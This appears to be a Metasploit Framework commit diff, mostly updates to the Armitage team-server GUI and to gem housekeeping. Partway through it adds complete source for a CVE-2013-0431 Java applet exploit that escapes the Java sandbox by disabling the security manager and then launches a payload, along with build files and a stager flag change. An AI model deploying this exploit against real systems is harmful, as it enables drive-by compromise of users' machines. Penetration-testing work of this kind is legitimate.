temp.put("db.hosts", "SELECT DISTINCT hosts.* FROM hosts WHERE hosts.workspace_id = " + workspaceid + " ORDER BY hosts.id ASC LIMIT " + limit1 + " OFFSET " + (hindex * limit1));
temp.put("db.hosts", "SELECT DISTINCT hosts.id, hosts.updated_at, hosts.state, hosts.mac, hosts.purpose, hosts.os_flavor, hosts.os_name, hosts.address, hosts.os_sp FROM hosts WHERE hosts.workspace_id = " + workspaceid + " ORDER BY hosts.id ASC LIMIT " + limit1 + " OFFSET " + (hindex * limit1));
}
temp.put("db.services", "SELECT DISTINCT services.*, hosts.address as host FROM services, (" + temp.get("db.hosts") + ") as hosts WHERE hosts.id = services.host_id AND services.state = 'open' ORDER BY services.id ASC LIMIT " + limit2 + " OFFSET " + (limit2 * sindex));
temp.put("db.services", "SELECT DISTINCT services.id, services.name, services.port, services.proto, services.info, services.updated_at, hosts.address as host FROM services, (" + temp.get("db.hosts") + ") as hosts WHERE hosts.id = services.host_id AND services.state = 'open' ORDER BY services.id ASC LIMIT " + limit2 + " OFFSET " + (limit2 * sindex));
temp.put("db.loots", "SELECT DISTINCT loots.*, hosts.address as host FROM loots, hosts WHERE hosts.id = loots.host_id AND hosts.workspace_id = " + workspaceid);
temp.put("db.workspaces", "SELECT DISTINCT * FROM workspaces");
temp.put("db.notes", "SELECT DISTINCT notes.*, hosts.address as host FROM notes, hosts WHERE hosts.id = notes.host_id AND hosts.workspace_id = " + workspaceid);
@ -412,6 +412,10 @@ public class DatabaseImpl implements RpcConnection {
return new HashMap();
}
else if (methodName.equals("db.clear")) {
/* clear our local cache of labels */
labels = new HashMap();
/* clear the database */
executeUpdate(
"BEGIN;" +
"DELETE FROM hosts;" +

View File

@ -14,7 +14,7 @@ public class MeterpreterSession implements Runnable {
protected String session;
protected boolean teammode;
public static long DEFAULT_WAIT = 12000;
public static long DEFAULT_WAIT = 120000;
private static class Command {
public Object token;

View File

@ -32,7 +32,7 @@ public class RpcAsync implements RpcConnection, Async {
if (methodName.equals("module.info") || methodName.equals("module.options") || methodName.equals("module.compatible_payloads")) {
StringBuilder keysb = new StringBuilder(methodName);
for(int i = 1; i < params.length; i++)
for(int i = 0; i < params.length; i++)
keysb.append(params[i].toString());
String key = keysb.toString();

View File

@ -10,6 +10,7 @@ import javax.xml.transform.*;
import javax.xml.transform.dom.*;
import javax.xml.transform.stream.*;
import org.w3c.dom.*;
import armitage.ArmitageBuffer;
/**
* This is a modification of msfgui/RpcConnection.java by scriptjunkie. Taken from
@ -84,12 +85,56 @@ public abstract class RpcConnectionImpl implements RpcConnection, Async {
}
protected HashMap locks = new HashMap();
protected String address = "";
protected HashMap buffers = new HashMap();
/* help implement our remote buffer API for PQS primitives */
public ArmitageBuffer getABuffer(String key) {
synchronized (buffers) {
ArmitageBuffer buffer;
if (buffers.containsKey(key)) {
buffer = (ArmitageBuffer)buffers.get(key);
}
else {
buffer = new ArmitageBuffer(16384);
buffers.put(key, buffer);
}
return buffer;
}
}
public String getLocalAddress() {
return address;
}
/** Adds token, runs command, and notifies logger on call and return */
public Object execute(String methodName, Object[] params) throws IOException {
if (database != null && "db.".equals(methodName.substring(0, 3))) {
return database.execute(methodName, params);
}
else if (methodName.equals("armitage.ping")) {
try {
long time = System.currentTimeMillis() - Long.parseLong(params[0] + "");
HashMap res = new HashMap();
res.put("result", time + "");
return res;
}
catch (Exception ex) {
HashMap res = new HashMap();
res.put("result", "0");
return res;
}
}
else if (methodName.equals("armitage.my_ip")) {
HashMap res = new HashMap();
res.put("result", address);
return res;
}
else if (methodName.equals("armitage.set_ip")) {
address = params[0] + "";
return new HashMap();
}
else if (methodName.equals("armitage.lock")) {
if (locks.containsKey(params[0] + "")) {
Map res = new HashMap();
@ -105,6 +150,23 @@ public abstract class RpcConnectionImpl implements RpcConnection, Async {
locks.remove(params[0] + "");
return new HashMap();
}
else if (methodName.equals("armitage.publish")) {
ArmitageBuffer buffer = getABuffer(params[0] + "");
buffer.put(params[1] + "");
return new HashMap();
}
else if (methodName.equals("armitage.query")) {
ArmitageBuffer buffer = getABuffer(params[0] + "");
String data = (String)buffer.get(params[1] + "");
HashMap temp = new HashMap();
temp.put("data", data);
return temp;
}
else if (methodName.equals("armitage.reset")) {
ArmitageBuffer buffer = getABuffer(params[0] + "");
buffer.reset();
return new HashMap();
}
else if (hooks.containsKey(methodName)) {
RpcConnection con = (RpcConnection)hooks.get(methodName);
return con.execute(methodName, params);

View File

@ -66,7 +66,7 @@ public class RpcQueue implements Runnable {
Thread.sleep(50);
}
else {
Thread.sleep(500);
Thread.sleep(200);
}
}
}

View File

@ -92,7 +92,7 @@ public class NetworkTable extends JComponent implements ActionListener {
table.getColumn("Description").setPreferredWidth(500);
final TableCellRenderer parent = table.getDefaultRenderer(Object.class);
table.setDefaultRenderer(Object.class, new TableCellRenderer() {
final TableCellRenderer phear = new TableCellRenderer() {
public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int col) {
JLabel component = (JLabel)parent.getTableCellRendererComponent(table, value, isSelected, false, row, col);
@ -111,9 +111,15 @@ public class NetworkTable extends JComponent implements ActionListener {
if (tip.length() > 0) {
component.setToolTipText(tip);
}
return component;
}
});
};
table.getColumn("Address").setCellRenderer(phear);
table.getColumn("Label").setCellRenderer(phear);
table.getColumn("Description").setCellRenderer(phear);
table.getColumn("Pivot").setCellRenderer(phear);
table.getColumn(" ").setCellRenderer(new TableCellRenderer() {
public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int col) {

View File

@ -10,8 +10,48 @@ import table.*;
import java.util.*;
public class ATable extends JTable {
public static final String indicator = " \u271A";
protected boolean alternateBackground = false;
protected int[] selected = null;
/* call this function to store selections */
public void markSelections() {
selected = getSelectedRows();
}
public void fixSelection() {
if (selected.length == 0)
return;
getSelectionModel().setValueIsAdjusting(true);
int rowcount = getModel().getRowCount();
for (int x = 0; x < selected.length; x++) {
if (selected[x] < rowcount) {
getSelectionModel().addSelectionInterval(selected[x], selected[x]);
}
}
getSelectionModel().setValueIsAdjusting(false);
}
/* call this function to restore selections after a table update */
public void restoreSelections() {
if (!SwingUtilities.isEventDispatchThread()) {
SwingUtilities.invokeLater(new Runnable() {
public void run() {
fixSelection();
}
});
}
else {
fixSelection();
}
}
public static TableCellRenderer getDefaultTableRenderer(final JTable table, final TableModel model) {
final Set specialitems = new HashSet();
specialitems.add("Wordlist");
@ -39,7 +79,7 @@ public class ATable extends JTable {
String content = (value != null ? value : "") + "";
if (specialitems.contains(content) || content.indexOf("FILE")!= -1) {
content = content + " \u271A";
content = content + indicator;
}
JComponent c = (JComponent)render.getTableCellRendererComponent(table, content, isSelected, false, row, column);
@ -117,6 +157,47 @@ public class ATable extends JTable {
};
}
public static TableCellRenderer getTimeTableRenderer() {
return new TableCellRenderer() {
public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int column) {
TableCellRenderer render = table.getDefaultRenderer(String.class);
JComponent c = (JComponent)render.getTableCellRendererComponent(table, "", isSelected, false, row, column);
try {
long size = Long.parseLong(value + "");
String units = "ms";
if (size > 1000) {
size = size / 1000;
units = "s";
}
else {
((JLabel)c).setText(size + units);
return c;
}
if (size > 60) {
size = size / 60;
units = "m";
}
if (size > 60) {
size = size / 60;
units = "h";
}
((JLabel)c).setText(size + units);
}
catch (Exception ex) {
}
return c;
}
};
}
public void adjust() {
setShowGrid(false);
setIntercellSpacing(new Dimension(0, 0));

View File

@ -0,0 +1,247 @@
package ui;
import javax.swing.*;
import javax.swing.event.*;
import java.awt.*;
import java.awt.event.*;
import java.util.*;
import armitage.ArmitageApplication;
import msf.*;
/* A class to host multiple Armitage instances in one frame. Srsly */
public class MultiFrame extends JFrame implements KeyEventDispatcher {
protected JToolBar toolbar;
protected JPanel content;
protected CardLayout cards;
protected LinkedList buttons;
protected Properties prefs;
private static class ArmitageInstance {
public ArmitageApplication app;
public JToggleButton button;
public RpcConnection client;
}
public void setPreferences(Properties prefs) {
this.prefs = prefs;
}
public Properties getPreferences() {
return prefs;
}
public Map getClients() {
synchronized (buttons) {
Map r = new HashMap();
Iterator i = buttons.iterator();
while (i.hasNext()) {
ArmitageInstance temp = (ArmitageInstance)i.next();
r.put(temp.button.getText(), temp.client);
}
return r;
}
}
public void setTitle(ArmitageApplication app, String title) {
if (active == app)
setTitle(title);
}
protected ArmitageApplication active;
/* is localhost running? */
public boolean checkLocal() {
synchronized (buttons) {
Iterator i = buttons.iterator();
while (i.hasNext()) {
ArmitageInstance temp = (ArmitageInstance)i.next();
if ("localhost".equals(temp.button.getText())) {
return true;
}
}
return false;
}
}
public boolean dispatchKeyEvent(KeyEvent ev) {
if (active != null) {
return active.getBindings().dispatchKeyEvent(ev);
}
return false;
}
public static final void setupLookAndFeel() {
try {
for (UIManager.LookAndFeelInfo info : UIManager.getInstalledLookAndFeels()) {
if ("Nimbus".equals(info.getName())) {
UIManager.setLookAndFeel(info.getClassName());
break;
}
}
}
catch (Exception e) {
}
}
public void closeConnect() {
synchronized (buttons) {
if (buttons.size() == 0) {
System.exit(0);
}
}
}
public void quit() {
synchronized (buttons) {
ArmitageInstance temp = null;
content.remove(active);
Iterator i = buttons.iterator();
while (i.hasNext()) {
temp = (ArmitageInstance)i.next();
if (temp.app == active) {
toolbar.remove(temp.button);
i.remove();
break;
}
}
if (buttons.size() == 0) {
System.exit(0);
}
else if (buttons.size() == 1) {
remove(toolbar);
validate();
}
if (i.hasNext()) {
temp = (ArmitageInstance)i.next();
}
else {
temp = (ArmitageInstance)buttons.getFirst();
}
set(temp.button);
}
}
public MultiFrame() {
super("");
setLayout(new BorderLayout());
/* setup our toolbar */
toolbar = new JToolBar();
/* content area */
content = new JPanel();
cards = new CardLayout();
content.setLayout(cards);
/* setup our stuff */
add(content, BorderLayout.CENTER);
/* buttons?!? :) */
buttons = new LinkedList();
/* do this ... */
setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
/* some basic setup */
setSize(800, 600);
setExtendedState(JFrame.MAXIMIZED_BOTH);
/* all your keyboard shortcuts are belong to me */
KeyboardFocusManager.getCurrentKeyboardFocusManager().addKeyEventDispatcher(this);
}
protected void set(JToggleButton button) {
synchronized (buttons) {
/* set all buttons to the right state */
Iterator i = buttons.iterator();
while (i.hasNext()) {
ArmitageInstance temp = (ArmitageInstance)i.next();
if (temp.button.getText().equals(button.getText())) {
temp.button.setSelected(true);
active = temp.app;
setTitle(active.getTitle());
}
else {
temp.button.setSelected(false);
}
}
/* show our cards? */
cards.show(content, button.getText());
active.touch();
}
}
public void addButton(String title, final ArmitageApplication component, RpcConnection conn) {
synchronized (buttons) {
final ArmitageInstance a = new ArmitageInstance();
a.button = new JToggleButton(title);
a.button.setToolTipText(title);
a.app = component;
a.client = conn;
a.button.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent ev) {
set((JToggleButton)ev.getSource());
}
});
a.button.addMouseListener(new MouseAdapter() {
public void check(MouseEvent ev) {
if (ev.isPopupTrigger()) {
final JToggleButton source = a.button;
JPopupMenu popup = new JPopupMenu();
JMenuItem rename = new JMenuItem("Rename");
rename.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent ev) {
String name = JOptionPane.showInputDialog("Rename to?", source.getText());
if (name != null) {
content.remove(component);
content.add(component, name);
source.setText(name);
set(source);
}
}
});
popup.add(rename);
popup.show((JComponent)ev.getSource(), ev.getX(), ev.getY());
ev.consume();
}
}
public void mouseClicked(MouseEvent ev) {
check(ev);
}
public void mousePressed(MouseEvent ev) {
check(ev);
}
public void mouseReleased(MouseEvent ev) {
check(ev);
}
});
toolbar.add(a.button);
content.add(component, title);
buttons.add(a);
set(a.button);
if (buttons.size() == 1) {
show();
}
else if (buttons.size() == 2) {
add(toolbar, BorderLayout.SOUTH);
}
validate();
}
}
}

View File

@ -1,6 +1,58 @@
Armitage Changelog
==================
6 Mar 13 (tested against msf ca43900a7)
--------
- Active console now gets higher priority when polling msf for output
- Improved team server responsiveness in high latency situations by
creating additional connections to server to balance messages over
- Preferences are now shared among each Armitage connection.
6 Mar 13 (2000h)
--------
- Fixed issue with additional team server connections reporting wrong
application and receiving a summary rejection by the team server.
Cortana Updates (for scripters)
--------
- Added a &publish, &query, &subscribe API to allow inter-script
communication across the team server.
- Added &table_update to set the contents of a table tab without
disturbing the highlighted rows.
- Added an exec_error event. Fired when &m_exec or &m_exec_local fail
due to an error reported by meterpreter.
- Fixed a bug that sometimes caused session_sync to fire twice (boo!)
- Added a 60s timeout to &s_cmd commands. Cortana will give a shell
command 60s to execute. If it doesn't finish in that time, Cortana
will release the lock on the shell so the user can control it.
(ideally, this shouldn't happen... this is a safety mechanism)
- Changed Meterpreter command timeout to 2m from 12s. This is because
https meterpreter might not checkin for up to 60s, if it's been
idle for a long time. This will make &m_cmd less likely to timeout
12 Feb 13 (tested against msf 16438)
---------
- Fixed a corner case preventing the display of removed host labels
when connected to a team server.
- Fixed RPC call cache corruption in team server mode. This bug could
lead to some exploits defaulting to a shell payload when meterpreter
was a possibility.
- Slight optimization to some DB queries. I no longer pull unused
fields making the query marginally faster. Team server is more
efficient too as changes to unused fields won't force data (re)sync.
- Hosts -> Clear Database now clears host labels too.
- Added the ability to manage multiple team server instances through
Armitage. Go to Armitage -> New Connection to connect to another
server. A button bar will appear that allows you to switch active
Armitage connections.
- Credentials available across instances are pooled when using
the [host] -> Login menu and the credential helper.
- Rewrote the event log management code in the team server
- Added nickname tab completion to event log. I feel like I'm writing
an IRC client again.
- Hosts -> Clear Database now asks you to confirm the action.
- Hosts -> Import Hosts announces successful import to event log again.
23 Jan 13 (tested against msf 16351)
---------
- Added helpers to set EXE::Custom and EXE::Template options.

19
external/source/exploits/cve-2013-0431/B.java vendored Executable file
View File

@ -0,0 +1,19 @@
import java.security.AccessController;
import java.security.PrivilegedExceptionAction;
public class B
implements PrivilegedExceptionAction
{
public B()
{
try
{
AccessController.doPrivileged(this); } catch (Exception e) {
}
}
public Object run() {
System.setSecurityManager(null);
return new Object();
}
}

View File

@ -0,0 +1,93 @@
/*
* From Paunch with love (Java 1.7.0_11 Exploit)
*
* Deobfuscated from Cool EK by SecurityObscurity
*
* https://twitter.com/SecObscurity
*/
import java.applet.Applet;
import com.sun.jmx.mbeanserver.Introspector;
import com.sun.jmx.mbeanserver.JmxMBeanServer;
import com.sun.jmx.mbeanserver.MBeanInstantiator;
import java.lang.invoke.MethodHandle;
import java.lang.invoke.MethodHandles.Lookup;
import java.lang.invoke.MethodType;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import javax.management.ReflectionException;
import java.io.*;
import metasploit.Payload;
public class Exploit extends Applet
{
public void init()
{
try
{
int length;
byte[] buffer = new byte[5000];
ByteArrayOutputStream os = new ByteArrayOutputStream();
// read in the class file from the jar
InputStream is = getClass().getResourceAsStream("B.class");
// and write it out to the byte array stream
while( ( length = is.read( buffer ) ) > 0 )
os.write( buffer, 0, length );
// convert it to a simple byte array
buffer = os.toByteArray();
Class class1 = gimmeClass("sun.org.mozilla.javascript.internal.Context");
Method method = getMethod(class1, "enter", true);
Object obj = method.invoke(null, new Object[0]);
Method method1 = getMethod(class1, "createClassLoader", false);
Object obj1 = method1.invoke(obj, new Object[1]);
Class class2 = gimmeClass("sun.org.mozilla.javascript.internal.GeneratedClassLoader");
Method method2 = getMethod(class2, "defineClass", false);
Class my_class = (Class)method2.invoke(obj1, new Object[] { null, buffer });
my_class.newInstance();
Payload.main(null);
}
catch (Throwable localThrowable){}
}
private Method getMethod(Class class1, String s, boolean flag)
{
try {
Method[] amethod = (Method[])Introspector.elementFromComplex(class1, "declaredMethods");
Method[] amethod1 = amethod;
for (int i = 0; i < amethod1.length; i++) {
Method method = amethod1[i];
String s1 = method.getName();
Class[] aclass = method.getParameterTypes();
if ((s1 == s) && ((!flag) || (aclass.length == 0))) return method;
}
} catch (Exception localException) { }
return null;
}
private Class gimmeClass(String s) throws ReflectionException, ReflectiveOperationException
{
Object obj = null;
JmxMBeanServer jmxmbeanserver = (JmxMBeanServer)JmxMBeanServer.newMBeanServer("", null, null, true);
MBeanInstantiator mbeaninstantiator = jmxmbeanserver.getMBeanInstantiator();
Class class1 = Class.forName("com.sun.jmx.mbeanserver.MBeanInstantiator");
Method method = class1.getMethod("findClass", new Class[] { String.class, ClassLoader.class });
return (Class)method.invoke(mbeaninstantiator, new Object[] { s, obj });
}
}

View File

@ -0,0 +1,22 @@
# rt.jar must be in the classpath!
CLASSES = \
Exploit.java \
B.java \
Serializer.java
.SUFFIXES: .java .class
.java.class:
javac -source 1.2 -target 1.2 -cp "../../../../data/java:." $*.java
all: $(CLASSES:.java=.class)
install:
java Serializer
mv Exploit.class ../../../../data/exploits/cve-2013-0431/
mv B.class ../../../../data/exploits/cve-2013-0431/
mv Exploit.ser ../../../../data/exploits/cve-2013-0431/
clean:
rm -rf *.class
rm -rf *.ser

View File

@ -0,0 +1,20 @@
import java.io.*;
public class Serializer {
public static void main(String [ ] args)
{
try {
Exploit b=new Exploit(); // target Applet instance
ByteArrayOutputStream baos=new ByteArrayOutputStream();
ObjectOutputStream oos=new ObjectOutputStream(baos);
oos.writeObject(b);
FileOutputStream fos=new FileOutputStream("Exploit.ser");
fos.write(baos.toByteArray());
fos.close();
} catch (Exception ex) {
ex.printStackTrace();
}
}
}

View File

@ -260,7 +260,8 @@ public abstract class RpcConnection {
// Don't fork cause we'll check if it dies
String rpcType = "Basic";
java.util.List args = new java.util.ArrayList(java.util.Arrays.asList(new String[]{
"msfrpcd","-f","-P",defaultPass,"-t","Msg","-U",defaultUser,"-a","127.0.0.1"}));
"msfrpcd","-f","-P",defaultPass,"-t","Msg","-U",defaultUser,"-a","127.0.0.1",
"-p",Integer.toString(defaultPort)}));
if(!defaultSsl)
args.add("-S");
if(disableDb)

View File

@ -49,11 +49,12 @@ httpopenrequest:
pop ecx
xor edx, edx ; NULL
push edx ; dwContext (NULL)
push (0x80000000 | 0x04000000 | 0x00200000 | 0x00000200) ; dwFlags
push (0x80000000 | 0x04000000 | 0x00200000 | 0x00000200 | 0x00400000) ; dwFlags
;0x80000000 | ; INTERNET_FLAG_RELOAD
;0x04000000 | ; INTERNET_NO_CACHE_WRITE
;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
;0x00000200 ; INTERNET_FLAG_NO_UI
;0x00000200 | ; INTERNET_FLAG_NO_UI
;0x00400000 ; INTERNET_FLAG_KEEP_CONNECTION
push edx ; accept types
push edx ; referrer
push edx ; version

View File

@ -188,7 +188,9 @@ module Anemone
context,
url.scheme == "https",
'SSLv23',
@opts[:proxies]
@opts[:proxies],
@opts[:username],
@opts[:password]
)
conn.set_config(

View File

@ -1,10 +0,0 @@
source "http://rubygems.org"
# Specify your gem's dependencies in metasploit_data_models.gemspec
gemspec
group :test do
# rails is only used for testing with a dummy application in spec/dummy
gem 'rails'
gem 'rspec-rails'
end

View File

@ -1,7 +0,0 @@
require 'bundler/gem_tasks'
require 'rspec/core/rake_task'
RSpec::Core::RakeTask.new(:spec)
task :default => :spec

View File

@ -1,8 +0,0 @@
class Mdm::CredFile < ActiveRecord::Base
#
# Relations
#
belongs_to :workspace, :class_name => 'Mdm::Workspace'
ActiveSupport.run_load_hooks(:mdm_cred_file, self)
end

View File

@ -1,16 +0,0 @@
class Mdm::WebVuln < ActiveRecord::Base
#
# Relations
#
belongs_to :web_site, :class_name => 'Mdm::WebSite'
#
# Serializations
#
serialize :params, MetasploitDataModels::Base64Serializer.new
ActiveSupport.run_load_hooks(:mdm_web_vuln, self)
end

View File

@ -1,35 +0,0 @@
# 2012-04-23
#
# Provides ActiveRecord 3.1x-friendly serialization for descendants of
# ActiveRecord::Base. Backwards compatible with older YAML methods and
# will fall back to string decoding in the worst case
#
# usage:
# serialize :foo, MetasploitDataModels::Base64Serializer.new
#
module MetasploitDataModels
class Base64Serializer
def load(value)
return {} if value.blank?
begin
# Load the unpacked Marshal object first
Marshal.load(value.unpack('m').first)
rescue
begin
# Support legacy YAML encoding for existing data
YAML.load(value)
rescue
# Fall back to string decoding
value
end
end
end
def dump(value)
# Always store data back in the Marshal format
[ Marshal.dump(value) ].pack('m')
end
end
end

View File

@ -1,7 +0,0 @@
require 'rails'
module MetasploitDataModels
class Engine < Rails::Engine
end
end

View File

@ -1,7 +0,0 @@
module MetasploitDataModels
# MetasploitDataModels follows the {Semantic Versioning Specification http://semver.org/}. At this time, the API
# is considered unstable because the database migrations are still in metasploit-framework and certain models may not
# be shared between metasploit-framework and pro, so models may be removed in the future. Because of the unstable API
# the version should remain below 1.0.0
VERSION = '0.3.0'
end

View File

@ -1,22 +0,0 @@
require "spec_helper"
module MetasploitDataModels
describe Base64Serializer do
subject{Base64Serializer.new}
let(:test_value){{:foo => "bar", :baz => "baz"}}
# We make it same way as in class b/c hard to keep a reliable base64
# string literal as a fixture
let(:base64_fixture){[Marshal.dump(test_value)].pack('m')}
it "should turn a Hash into proper base64" do
subject.dump(test_value).should == base64_fixture
end
it "should turn base64 back into a Hash" do
subject.load(base64_fixture).should == test_value
end
end
end

View File

@ -6,13 +6,19 @@
*.gem
# Rubymine project configuration
.idea
# logs
*.log
# Don't check in rvmrc since this is a gem
.rvmrc
# YARD database
.yardoc
# coverage report directory for simplecov/Rubymine
coverage
# generated yardocs
doc
# Installed gem versions. Not stored for the same reasons as .rvmrc
Gemfile.lock
# Packaging directory for builds
pkg/*
# Database configuration (with passwords) for specs
spec/dummy/config/database.yml
# logs
*.log

View File

@ -0,0 +1,38 @@
# RM_INFO is set when using Rubymine. In Rubymine, starting SimpleCov is
# controlled by running with coverage, so don't explicitly start coverage (and
# therefore generate a report) when in Rubymine. This _will_ generate a report
# whenever `rake spec` is run.
unless ENV['RM_INFO']
SimpleCov.start
end
SimpleCov.configure do
load_adapter('rails')
# ignore this file
add_filter '.simplecov'
#
# Changed Files in Git Group
# @see http://fredwu.me/post/35625566267/simplecov-test-coverage-for-changed-files-only
#
untracked = `git ls-files --exclude-standard --others`
unstaged = `git diff --name-only`
staged = `git diff --name-only --cached`
all = untracked + unstaged + staged
changed_filenames = all.split("\n")
add_group 'Changed' do |source_file|
changed_filenames.detect { |changed_filename|
source_file.filename.end_with?(changed_filename)
}
end
#
# Specs are reported on to ensure that all examples are being run and all
# lets, befores, afters, etc are being used.
#
add_group 'Specs', 'spec'
end

View File

@ -0,0 +1,4 @@
--markup markdown
--protected
{app,lib}/**/*.rb
db/migrate/*.rb

View File

@ -0,0 +1,25 @@
source "http://rubygems.org"
# Specify your gem's dependencies in metasploit_data_models.gemspec
gemspec
# used by dummy application
group :development, :test do
# supplies factories for producing model instance for specs
# Version 4.1.0 or newer is needed to support generate calls without the 'FactoryGirl.' in factory definitions syntax.
gem 'factory_girl', '>= 4.1.0'
# auto-load factories from spec/factories
gem 'factory_girl_rails'
# rails is only used for the dummy application in spec/dummy
gem 'rails'
end
group :test do
# In a full rails project, factory_girl_rails would be in both the :development, and :test group, but since we only
# want rails in :test, factory_girl_rails must also only be in :test.
# add matchers from shoulda, such as validates_presence_of, which are useful for testing validations
gem 'shoulda-matchers'
# code coverage of tests
gem 'simplecov', :require => false
gem 'rspec-rails'
end

View File

@ -1,4 +1,4 @@
Copyright (C) 2012, Rapid7 LLC
Copyright (C) 2012, Rapid7, Inc.
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,

View File

@ -0,0 +1,34 @@
#!/usr/bin/env rake
begin
require 'bundler/setup'
rescue LoadError
puts 'You must `gem install bundler` and `bundle install` to run rake tasks'
end
APP_RAKEFILE = File.expand_path('../spec/dummy/Rakefile', __FILE__)
load 'rails/tasks/engine.rake'
Bundler::GemHelper.install_tasks
#
# load rake files like a normal rails app
# @see http://viget.com/extend/rails-engine-testing-with-rspec-capybara-and-factorygirl
#
pathname = Pathname.new(__FILE__)
root = pathname.parent
rakefile_glob = root.join('lib', 'tasks', '**', '*.rake').to_path
Dir.glob(rakefile_glob) do |rakefile|
load rakefile
end
require 'rspec/core'
require 'rspec/core/rake_task'
# Depend on app:db:test:prepare so that test database is recreated just like in a full rails app
# @see http://viget.com/extend/rails-engine-testing-with-rspec-capybara-and-factorygirl
RSpec::Core::RakeTask.new(:spec => 'app:db:test:prepare')
task :default => :spec

Some files were not shown because too many files have changed in this diff Show More